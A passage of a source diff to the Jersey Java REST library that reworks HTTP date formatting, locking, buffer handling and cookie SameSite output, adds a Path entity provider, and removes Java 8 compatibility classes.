date); + /** + * Formats a {@link LocalDateTime} into a date-time string. + * + * @param dateTime the time value to be formatted into a date-time string. + * @return the formatted date-time string. + */ + String format(LocalDateTime dateTime); + } + private HttpDateFormat() { } /** @@ -50,39 +96,40 @@ private static final TimeZone GMT_TIME_ZONE = TimeZone.getTimeZone("GMT"); - private static final ThreadLocal<List<SimpleDateFormat>> dateFormats = new ThreadLocal<List<SimpleDateFormat>>() { + private static final List<HttpDateFormatter> dateFormats = createDateFormats(); + private static final Queue<List<HttpDateFormatter>> simpleDateFormats = new ConcurrentLinkedQueue<>(); - @Override - protected synchronized List<SimpleDateFormat> initialValue() { - return createDateFormats(); - } - }; - - private static List<SimpleDateFormat> createDateFormats() { - final SimpleDateFormat[] formats = new SimpleDateFormat[]{ - new SimpleDateFormat(RFC1123_DATE_FORMAT_PATTERN, Locale.US), - new SimpleDateFormat(RFC1036_DATE_FORMAT_PATTERN, Locale.US), - new SimpleDateFormat(ANSI_C_ASCTIME_DATE_FORMAT_PATTERN, Locale.US) + private static List<HttpDateFormatter> createDateFormats() { + final HttpDateFormatter[] formats = new HttpDateFormatter[]{ + new HttpDateFormatterFromDateTimeFormatter( + DateTimeFormatter.ofPattern(RFC1123_DATE_FORMAT_PATTERN, Locale.US).withZone(GMT_TIME_ZONE.toZoneId())), + new HttpDateFormatterFromDateTimeFormatter( + DateTimeFormatter.ofPattern(RFC1123_DATE_FORMAT_PATTERN.replace("zzz", "ZZZ"), Locale.US) + .withZone(GMT_TIME_ZONE.toZoneId())), + new HttpDateFormatterFromDateTimeFormatter( + DateTimeFormatter.ofPattern(RFC1036_DATE_FORMAT_PATTERN, Locale.US).withZone(GMT_TIME_ZONE.toZoneId())), + new HttpDateFormatterFromDateTimeFormatter( + DateTimeFormatter.ofPattern(RFC1036_DATE_FORMAT_PATTERN.replace("zzz", "ZZZ"), Locale.US) + .withZone(GMT_TIME_ZONE.toZoneId())), + new HttpDateFormatterFromDateTimeFormatter( + DateTimeFormatter.ofPattern(ANSI_C_ASCTIME_DATE_FORMAT_PATTERN, Locale.US) + .withZone(GMT_TIME_ZONE.toZoneId())) }; - formats[0].setTimeZone(GMT_TIME_ZONE); - formats[1].setTimeZone(GMT_TIME_ZONE); - formats[2].setTimeZone(GMT_TIME_ZONE); return Collections.unmodifiableList(Arrays.asList(formats)); } - /** - * Return an unmodifiable list of HTTP specified date formats to use for - * parsing or formatting {@link Date}. - * <p> - * The list of date formats are scoped to the current thread and may be - * used without requiring to synchronize access to the instances when - * parsing or formatting. - * - * @return the list of data formats. - */ - private static List<SimpleDateFormat> getDateFormats() { - return dateFormats.get(); + private static List<HttpDateFormatter> createSimpleDateFormats() { + final HttpDateFormatterFromSimpleDateTimeFormat[] formats = new HttpDateFormatterFromSimpleDateTimeFormat[]{ + new HttpDateFormatterFromSimpleDateTimeFormat(new SimpleDateFormat(RFC1123_DATE_FORMAT_PATTERN, Locale.US)), + new HttpDateFormatterFromSimpleDateTimeFormat(new SimpleDateFormat(RFC1036_DATE_FORMAT_PATTERN, Locale.US)), + new HttpDateFormatterFromSimpleDateTimeFormat(new SimpleDateFormat(ANSI_C_ASCTIME_DATE_FORMAT_PATTERN, Locale.US)) + }; + formats[0].simpleDateFormat.setTimeZone(GMT_TIME_ZONE); + formats[1].simpleDateFormat.setTimeZone(GMT_TIME_ZONE); + formats[2].simpleDateFormat.setTimeZone(GMT_TIME_ZONE); + + return Collections.unmodifiableList(Arrays.asList(formats)); } /** @@ -94,9 +141,44 @@ * * @return the preferred of data format. */ + public static HttpDateFormatter getPreferredDateFormatter() { + if (USE_SIMPLE_DATE_FORMAT_OVER_DATE_TIME_FORMATTER) { + List<HttpDateFormatter> list = simpleDateFormats.poll(); + if (list == null) { + list = createSimpleDateFormats(); + } + // returns clone because calling SDF.parse(...) can change time zone + final SimpleDateFormat sdf = (SimpleDateFormat) + ((HttpDateFormatterFromSimpleDateTimeFormat) list.get(0)).simpleDateFormat.clone(); + simpleDateFormats.add(list); + return new HttpDateFormatterFromSimpleDateTimeFormat(sdf); + } else { + return dateFormats.get(0); + } + } + + /** + * Get the preferred HTTP specified date format (RFC 1123). + * <p> + * The date format is scoped to the current thread and may be + * used without requiring to synchronize access to the instance when + * parsing or formatting. + * + * @return the preferred of data format. + * @deprecated Use getPreferredDateFormatter instead + */ + // Unused in Jersey + @Deprecated(forRemoval = true) public static SimpleDateFormat getPreferredDateFormat() { + List<HttpDateFormatter> list = simpleDateFormats.poll(); + if (list == null) { + list = createSimpleDateFormats(); + } // returns clone because calling SDF.parse(...) can change time zone - return (SimpleDateFormat) dateFormats.get().get(0).clone(); + final SimpleDateFormat sdf = (SimpleDateFormat) + ((HttpDateFormatterFromSimpleDateTimeFormat) list.get(0)).simpleDateFormat.clone(); + simpleDateFormats.add(list); + return sdf; } /** @@ -108,18 +190,106 @@ * @throws java.text.ParseException in case the date string cannot be parsed. */ public static Date readDate(final String date) throws ParseException { - ParseException pe = null; - for (final SimpleDateFormat f : HttpDateFormat.getDateFormats()) { + return USE_SIMPLE_DATE_FORMAT_OVER_DATE_TIME_FORMATTER + ? readDateSDF(date) + : readDateDTF(date); + } + + private static Date readDateDTF(final String date) throws ParseException { + final List<HttpDateFormatter> list = dateFormats; + return readDate(date, list); + } + + private static Date readDateSDF(final String date) throws ParseException { + List<HttpDateFormatter> list = simpleDateFormats.poll(); + if (list == null) { + list = createSimpleDateFormats(); + } + final Date ret = readDate(date, list); + simpleDateFormats.add(list); + return ret; + } + + private static Date readDate(final String date, List<HttpDateFormatter> formatters) throws ParseException { + Exception pe = null; + for (final HttpDateFormatter f : formatters) { try { - Date result = f.parse(date); - // parse can change time zone -> set it back to GMT - f.setTimeZone(GMT_TIME_ZONE); - return result; - } catch (final ParseException e) { + return f.toDate(date); + } catch (final Exception e) { pe = (pe == null) ? e : pe; } } - throw pe; + throw ParseException.class.isInstance(pe) ? (ParseException) pe + : new ParseException(pe.getMessage(), + DateTimeParseException.class.isInstance(pe) ? ((DateTimeParseException) pe).getErrorIndex() : 0); + } + + /** + * Warning! DateTimeFormatter is incompatible with SimpleDateFormat for two digits year, since SimpleDateFormat uses + * 80 years before now and 20 years after, whereas DateTimeFormatter uses years starting with 2000. + */ + private static class HttpDateFormatterFromDateTimeFormatter implements HttpDateFormatter { + private final DateTimeFormatter dateTimeFormatter; + + private HttpDateFormatterFromDateTimeFormatter(DateTimeFormatter dateTimeFormatter) { + this.dateTimeFormatter = dateTimeFormatter; + } + + @Override + public Date toDate(String date) { + return new Date(Instant.from(dateTimeFormatter.parse(date)).toEpochMilli()); + } + + @Override + public LocalDateTime toDateTime(String date) { + return Instant.from(dateTimeFormatter.parse(date)).atZone(GMT_TIME_ZONE.toZoneId()).toLocalDateTime(); + } + + @Override + public String format(Date date) { + return dateTimeFormatter.format(date.toInstant()); + } + + @Override + public String format(LocalDateTime dateTime) { + return dateTimeFormatter.format(dateTime); + } + } + + private static class HttpDateFormatterFromSimpleDateTimeFormat implements HttpDateFormatter { + private final SimpleDateFormat simpleDateFormat; + + private HttpDateFormatterFromSimpleDateTimeFormat(SimpleDateFormat simpleDateFormat) { + this.simpleDateFormat = simpleDateFormat; + } + + @Override + public Date toDate(String date) { + final Date result; + try { + result = simpleDateFormat.parse(date); + } catch (ParseException e) { + throw new RuntimeException(e); + } + // parse can change time zone -> set it back to GMT + simpleDateFormat.setTimeZone(GMT_TIME_ZONE); + return result; + } + + @Override + public LocalDateTime toDateTime(String date) { + return Instant.from(toDate(date).toInstant()).atZone(GMT_TIME_ZONE.toZoneId()).toLocalDateTime(); + } + + @Override + public String format(Date date) { + return simpleDateFormat.format(date); + } + + @Override + public String format(LocalDateTime dateTime) { + return simpleDateFormat.format(Date.from(dateTime.atZone(GMT_TIME_ZONE.toZoneId()).toInstant())); + } } }
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/HttpHeaderReader.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/HttpHeaderReader.java index fe5a249..62df83f 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/HttpHeaderReader.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/HttpHeaderReader.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -28,6 +28,8 @@ import java.util.Locale; import java.util.Map; import java.util.Set; +import java.util.concurrent.locks.Lock; +import java.util.concurrent.locks.ReentrantLock; import jakarta.ws.rs.core.Cookie; import jakarta.ws.rs.core.MediaType; @@ -622,6 +624,7 @@ private abstract static class ListReader<T> { private final LRU<String, List<T>> LIST_CACHE = LRU.create(); + private final Lock lock = new ReentrantLock(); protected final ListElementCreator<T> creator; protected ListReader(ListElementCreator<T> creator) { @@ -639,7 +642,8 @@ List<T> list = LIST_CACHE.getIfPresent(header); if (list == null) { - synchronized (LIST_CACHE) { + lock.lock(); + try { list = LIST_CACHE.getIfPresent(header); if (list == null) { HttpHeaderReader reader = new HttpHeaderReaderImpl(header); @@ -655,6 +659,8 @@ } LIST_CACHE.put(header, list); } + } finally { + lock.unlock(); } }
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/InputStreamProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/InputStreamProvider.java index c07dcbf..6bf66cb 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/InputStreamProvider.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/InputStreamProvider.java
@@ -78,10 +78,8 @@ MediaType mediaType, MultivaluedMap<String, Object> httpHeaders, OutputStream entityStream) throws IOException { - try { + try (t) { ReaderWriter.writeTo(t, entityStream); - } finally { - t.close(); } } }
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/InterceptorExecutor.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/InterceptorExecutor.java index 3040bf6..9acc012 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/InterceptorExecutor.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/InterceptorExecutor.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -89,6 +89,11 @@ } @Override + public boolean hasProperty(final String name) { + return propertiesDelegate.hasProperty(name); + } + + @Override public Object getProperty(final String name) { return propertiesDelegate.getProperty(name); }
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/MessagingBinders.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/MessagingBinders.java index fa1117a..307f54f 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/MessagingBinders.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/MessagingBinders.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -92,6 +92,7 @@ bindSingletonWorker(ByteArrayProvider.class); // bindSingletonWorker(DataSourceProvider.class); bindSingletonWorker(FileProvider.class); + bindSingletonWorker(PathProvider.class); bindSingletonWorker(FormMultivaluedMapProvider.class); bindSingletonWorker(FormProvider.class); bindSingletonWorker(InputStreamProvider.class);
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/NewCookieProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/NewCookieProvider.java index 9c53c74..08fbf5a 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/NewCookieProvider.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/NewCookieProvider.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -23,6 +23,8 @@ import org.glassfish.jersey.internal.LocalizationMessages; import org.glassfish.jersey.spi.HeaderDelegateProvider; +import java.util.Locale; + import static org.glassfish.jersey.message.internal.Utils.throwIllegalArgumentExceptionIfNull; /** @@ -73,9 +75,13 @@ if (cookie.isHttpOnly()) { b.append(";HttpOnly"); } + if (cookie.getSameSite() != null) { + b.append(";SameSite="); + b.append(getSameSite(cookie)); + } if (cookie.getExpiry() != null) { b.append(";Expires="); - b.append(HttpDateFormat.getPreferredDateFormat().format(cookie.getExpiry())); + b.append(HttpDateFormat.getPreferredDateFormatter().format(cookie.getExpiry())); } return b.toString(); @@ -86,4 +92,9 @@ throwIllegalArgumentExceptionIfNull(header, LocalizationMessages.NEW_COOKIE_IS_NULL()); return HttpHeaderReader.readNewCookie(header); } + + private static String getSameSite(NewCookie cookie) { + final String siteName = cookie.getSameSite().name(); + return siteName.charAt(0) + siteName.substring(1).toLowerCase(Locale.ROOT); + } }
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/NullOutputStream.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/NullOutputStream.java index 26d3f14..ae41378 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/NullOutputStream.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/NullOutputStream.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -18,22 +18,17 @@ import java.io.IOException; import java.io.OutputStream; +import java.util.Objects; import org.glassfish.jersey.internal.LocalizationMessages; /** - * A {@code "dev/null"} output stream - an output stream implementation that discards all the - * data written to it. This implementation is not thread-safe. - * - * Note that once a null output stream instance is {@link #close() closed}, any subsequent attempts - * to write the data to the closed stream result in an {@link java.io.IOException} being thrown. - * - * @author Miroslav Fuksa - * @author Marek Potociar + * Since JDK 11 is replaced by {@link OutputStream#nullOutputStream()} */ +@Deprecated(since = "3.1.7", forRemoval = true) public class NullOutputStream extends OutputStream { - private boolean isClosed; + private volatile boolean isClosed; @Override public void write(int b) throws IOException { @@ -43,11 +38,7 @@ @Override public void write(byte[] b, int off, int len) throws IOException { checkClosed(); - if (b == null) { - throw new NullPointerException(); - } else if ((off < 0) || (off > b.length) || (len < 0) || ((off + len) > b.length) || ((off + len) < 0)) { - throw new IndexOutOfBoundsException(); - } + Objects.checkFromIndexSize(off, len, b.length); } @Override @@ -65,4 +56,4 @@ public void close() throws IOException { isClosed = true; } -} +} \ No newline at end of file
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/PathProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/PathProvider.java new file mode 100644 index 0000000..461a4f8 --- /dev/null +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/PathProvider.java
@@ -0,0 +1,87 @@ +/* + * Copyright (c) 2024 Markus KARG and others. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.message.internal; + +import static jakarta.ws.rs.core.MediaType.APPLICATION_OCTET_STREAM; +import static jakarta.ws.rs.core.MediaType.WILDCARD; + +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.lang.annotation.Annotation; +import java.lang.reflect.Type; +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.StandardCopyOption; + +import jakarta.ws.rs.Consumes; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.MultivaluedMap; + +import jakarta.inject.Singleton; + +/** + * Provider for marshalling/un-marshalling of {@code application/octet-stream} + * entity type to/from a {@link Path} instance. + * + * @author Markus KARG + */ +@Produces({APPLICATION_OCTET_STREAM, WILDCARD}) +@Consumes({APPLICATION_OCTET_STREAM, WILDCARD}) +@Singleton +public final class PathProvider extends AbstractMessageReaderWriterProvider<Path> { + + @Override + public final boolean isReadable(final Class<?> type, + final Type genericType, + final Annotation[] annotations, + final MediaType mediaType) { + return Path.class == type; + } + + @Override + public final Path readFrom(final Class<Path> type, + final Type genericType, + final Annotation[] annotations, + final MediaType mediaType, + final MultivaluedMap<String, String> httpHeaders, + final InputStream entityStream) throws IOException { + final var path = Utils.createTempFile().toPath(); + Files.copy(entityStream, path, StandardCopyOption.REPLACE_EXISTING); + return path; + } + + @Override + public final boolean isWriteable(final Class<?> type, + final Type genericType, + final Annotation[] annotations, + final MediaType mediaType) { + return Path.class.isAssignableFrom(type); + } + + @Override + public final void writeTo(final Path t, + final Class<?> type, + final Type genericType, + final Annotation[] annotations, + final MediaType mediaType, + final MultivaluedMap<String, Object> httpHeaders, + final OutputStream entityStream) throws IOException { + Files.copy(t, entityStream); + } +}
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderInterceptorExecutor.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderInterceptorExecutor.java index a0e5dfc..20a01d6 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderInterceptorExecutor.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderInterceptorExecutor.java
@@ -22,6 +22,8 @@ import java.lang.reflect.Type; import java.util.Iterator; import java.util.List; +import java.util.concurrent.locks.Lock; +import java.util.concurrent.locks.ReentrantLock; import java.util.logging.Level; import java.util.logging.Logger; import java.util.stream.Collectors; @@ -253,6 +255,7 @@ private final InputStream original; private final MessageBodyReader reader; + private final Lock markLock = new ReentrantLock(); private UnCloseableInputStream(final InputStream original, final MessageBodyReader reader) { this.original = original;
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderWriter.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderWriter.java index 38b5013..dd0fc8e 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderWriter.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderWriter.java
@@ -43,7 +43,7 @@ * A utility class for reading and writing using byte and character streams. * <p> * If a byte or character array is utilized then the size of the array - * is by default the value of {@value org.glassfish.jersey.message.MessageProperties#IO_DEFAULT_BUFFER_SIZE}. + * is by default decided by the JRE. * This value can be set using the system property * {@value org.glassfish.jersey.message.MessageProperties#IO_BUFFER_SIZE}. * @@ -57,14 +57,19 @@ * * @deprecated use {@code StandardCharsets.UTF_8} instead */ - @Deprecated + @Deprecated(forRemoval = true) public static final Charset UTF8 = StandardCharsets.UTF_8; /** * The buffer size for arrays of byte and character. */ public static final int BUFFER_SIZE = getBufferSize(); - private static int getBufferSize() { + /** + * Whether {@linkplain BUFFER_SIZE} is to be ignored in favor of JRE's own decision. + */ + public static final boolean AUTOSIZE_BUFFER = getAutosizeBuffer(); + + private static int getIOBufferSize() { // TODO should we unify this buffer size and CommittingOutputStream buffer size (controlled by CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER)? final String value = AccessController.doPrivileged(PropertiesHelper.getSystemProperty(MessageProperties.IO_BUFFER_SIZE)); if (value != null) { @@ -78,11 +83,20 @@ LOGGER.log(Level.CONFIG, "Value of " + MessageProperties.IO_BUFFER_SIZE + " property is not a valid positive integer [" + value + "]." - + " Reverting to default [" + MessageProperties.IO_DEFAULT_BUFFER_SIZE + "].", + + " Reverting to default [at JRE's discretion].", e); } } - return MessageProperties.IO_DEFAULT_BUFFER_SIZE; + return -1; + } + + private static int getBufferSize() { + final int ioBufferSize = getIOBufferSize(); + return ioBufferSize == -1 ? MessageProperties.IO_DEFAULT_BUFFER_SIZE : ioBufferSize; + } + + private static boolean getAutosizeBuffer() { + return getIOBufferSize() == -1; } /** @@ -93,6 +107,11 @@ * @throws IOException if there is an error reading or writing bytes. */ public static void writeTo(InputStream in, OutputStream out) throws IOException { + if (AUTOSIZE_BUFFER) { + in.transferTo(out); + return; + } + int read; final byte[] data = new byte[BUFFER_SIZE]; while ((read = in.read(data)) != -1) { @@ -108,6 +127,11 @@ * @throws IOException if there is an error reading or writing characters. */ public static void writeTo(Reader in, Writer out) throws IOException { + if (AUTOSIZE_BUFFER) { + in.transferTo(out); + return; + } + int read; final char[] data = new char[BUFFER_SIZE]; while ((read = in.read(data)) != -1) {
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/TracingAwarePropertiesDelegate.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/TracingAwarePropertiesDelegate.java index 97afd68..a75e554 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/TracingAwarePropertiesDelegate.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/TracingAwarePropertiesDelegate.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -59,6 +59,14 @@ } @Override + public boolean hasProperty(final String name) { + if (tracingLogger != null && TracingLogger.PROPERTY_NAME.equals(name)) { + return true; + } + return propertiesDelegate.hasProperty(name); + } + + @Override public Object getProperty(String name) { if (tracingLogger != null && TracingLogger.PROPERTY_NAME.equals(name)) { return tracingLogger;
diff --git a/core-common/src/main/java/org/glassfish/jersey/process/internal/RequestScope.java b/core-common/src/main/java/org/glassfish/jersey/process/internal/RequestScope.java index ced41cd..4d92447 100644 --- a/core-common/src/main/java/org/glassfish/jersey/process/internal/RequestScope.java +++ b/core-common/src/main/java/org/glassfish/jersey/process/internal/RequestScope.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -244,6 +244,7 @@ */ protected void release(RequestContext context) { context.release(); + currentRequestContext.remove(); } /**
diff --git a/core-common/src/main/java/org/glassfish/jersey/uri/UriComponent.java b/core-common/src/main/java/org/glassfish/jersey/uri/UriComponent.java index 523614c..b543d01 100644 --- a/core-common/src/main/java/org/glassfish/jersey/uri/UriComponent.java +++ b/core-common/src/main/java/org/glassfish/jersey/uri/UriComponent.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,13 +16,11 @@ package org.glassfish.jersey.uri; -import java.io.UnsupportedEncodingException; import java.net.URI; import java.net.URLDecoder; import java.nio.ByteBuffer; import java.nio.Buffer; import java.nio.CharBuffer; -import java.nio.charset.Charset; import java.util.ArrayList; import java.util.Arrays; import java.util.LinkedList; @@ -34,6 +32,8 @@ import org.glassfish.jersey.internal.LocalizationMessages; import org.glassfish.jersey.internal.util.collection.MultivaluedStringMap; +import static java.nio.charset.StandardCharsets.UTF_8; + /** * Utility class for validating, encoding and decoding components * of a URI. @@ -333,7 +333,7 @@ private static void appendUTF8EncodedCharacter(final StringBuilder sb, final int codePoint) { final CharBuffer chars = CharBuffer.wrap(Character.toChars(codePoint)); - final ByteBuffer bytes = UTF_8_CHARSET.encode(chars); + final ByteBuffer bytes = UTF_8.encode(chars); while (bytes.hasRemaining()) { appendPercentEncodedOctet(sb, bytes.get() & 0xFF); @@ -424,8 +424,6 @@ return table; } - private static final Charset UTF_8_CHARSET = Charset.forName("UTF-8"); - /** * Decodes characters of a string that are percent-encoded octets using * UTF-8 decoding (if needed). @@ -565,19 +563,14 @@ @SuppressWarnings("StatementWithEmptyBody") private static void decodeQueryParam(final MultivaluedMap<String, String> params, final String param, final boolean decodeNames, final boolean decodeValues) { - try { - final int equals = param.indexOf('='); - if (equals > 0) { - params.add((decodeNames) ? URLDecoder.decode(param.substring(0, equals), "UTF-8") : param.substring(0, equals), - (decodeValues) ? URLDecoder.decode(param.substring(equals + 1), "UTF-8") : param.substring(equals + 1)); - } else if (equals == 0) { - // no key declared, ignore - } else if (param.length() > 0) { - params.add((decodeNames) ? URLDecoder.decode(param, "UTF-8") : param, ""); - } - } catch (final UnsupportedEncodingException ex) { - // This should never occur - throw new IllegalArgumentException(ex); + final int equals = param.indexOf('='); + if (equals > 0) { + params.add((decodeNames) ? URLDecoder.decode(param.substring(0, equals), UTF_8) : param.substring(0, equals), + (decodeValues) ? URLDecoder.decode(param.substring(equals + 1), UTF_8) : param.substring(equals + 1)); + } else if (equals == 0) { + // no key declared, ignore + } else if (param.length() > 0) { + params.add((decodeNames) ? URLDecoder.decode(param, UTF_8) : param, ""); } } @@ -853,7 +846,7 @@ return i + 2; } else { // - final CharBuffer cb = UTF_8_CHARSET.decode(bb); + final CharBuffer cb = UTF_8.decode(bb); sb.append(cb.toString()); return i + ((Buffer) bb).limit() * 3 - 1; }
diff --git a/core-common/src/main/java8/org/glassfish/jersey/innate/io/InputStreamWrapper.java b/core-common/src/main/java8/org/glassfish/jersey/innate/io/InputStreamWrapper.java deleted file mode 100644 index c2109fe..0000000 --- a/core-common/src/main/java8/org/glassfish/jersey/innate/io/InputStreamWrapper.java +++ /dev/null
@@ -1,86 +0,0 @@ -/* - * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.innate.io; - -import java.io.IOException; -import java.io.InputStream; - -/** - * Generic wrapper template for InputStream. - */ -public abstract class InputStreamWrapper extends InputStream { - - /** - * Return the wrapped stream - * @return - */ - protected abstract InputStream getWrapped(); - - /** - * Get wrapped stream that can throw {@link IOException} - * @return the wrapped InputStream. - * @throws IOException - */ - protected InputStream getWrappedIOE() throws IOException { - return getWrapped(); - } - - @Override - public int read() throws IOException { - return getWrappedIOE().read(); - } - - @Override - public int read(byte[] b) throws IOException { - return getWrappedIOE().read(b); - } - - @Override - public int read(byte[] b, int off, int len) throws IOException { - return getWrappedIOE().read(b, off, len); - } - - @Override - public long skip(long n) throws IOException { - return getWrappedIOE().skip(n); - } - - @Override - public int available() throws IOException { - return getWrappedIOE().available(); - } - - @Override - public void close() throws IOException { - getWrappedIOE().close(); - } - - @Override - public void mark(int readlimit) { - getWrapped().mark(readlimit); - } - - @Override - public void reset() throws IOException { - getWrappedIOE().reset(); - } - - @Override - public boolean markSupported() { - return getWrapped().markSupported(); - } -}
diff --git a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/SubmissionPublisher.java b/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/SubmissionPublisher.java deleted file mode 100644 index 6eb4cb5..0000000 --- a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/SubmissionPublisher.java +++ /dev/null
@@ -1,1626 +0,0 @@ -/* - * Written by Doug Lea with assistance from members of JCP JSR-166 - * Expert Group and released to the public domain, as explained at - * http://creativecommons.org/publicdomain/zero/1.0/ - */ - -package org.glassfish.jersey.internal.jsr166; - -import java.util.ArrayList; -import java.util.List; -import java.util.concurrent.CompletableFuture; -import java.util.concurrent.Executor; -import java.util.concurrent.Executors; -import java.util.concurrent.ForkJoinPool; -import java.util.concurrent.ForkJoinTask; -import java.util.concurrent.RejectedExecutionException; -import java.util.concurrent.TimeUnit; -import java.util.concurrent.locks.LockSupport; -import java.util.function.BiConsumer; -import java.util.function.BiPredicate; -import java.util.function.Consumer; - -/** - * A {@link Flow.Publisher} that asynchronously issues submitted - * (non-null) items to current subscribers until it is closed. Each - * current subscriber receives newly submitted items in the same order - * unless drops or exceptions are encountered. Using a - * SubmissionPublisher allows item generators to act as compliant <a - * href="http://www.reactive-streams.org/"> reactive-streams</a> - * Publishers relying on drop handling and/or blocking for flow - * control. - * <p> - * <p>A SubmissionPublisher uses the {@link Executor} supplied in its - * constructor for delivery to subscribers. The best choice of - * Executor depends on expected usage. If the generator(s) of - * submitted items run in separate threads, and the number of - * subscribers can be estimated, consider using a {@link - * Executors#newFixedThreadPool}. Otherwise consider using the - * default, normally the {@link ForkJoinPool#commonPool}. - * <p> - * <p>Buffering allows producers and consumers to transiently operate - * at different rates. Each subscriber uses an independent buffer. - * Buffers are created upon first use and expanded as needed up to the - * given maximum. (The enforced capacity may be rounded up to the - * nearest power of two and/or bounded by the largest value supported - * by this implementation.) Invocations of {@link - * Flow.Subscription#request(long) request} do not directly result in - * buffer expansion, but risk saturation if unfilled requests exceed - * the maximum capacity. The default value of {@link - * Flow#defaultBufferSize()} may provide a useful starting point for - * choosing a capacity based on expected rates, resources, and usages. - * <p> - * <p>Publication methods support different policies about what to do - * when buffers are saturated. Method {@link #submit(Object) submit} - * blocks until resources are available. This is simplest, but least - * responsive. The {@code offer} methods may drop items (either - 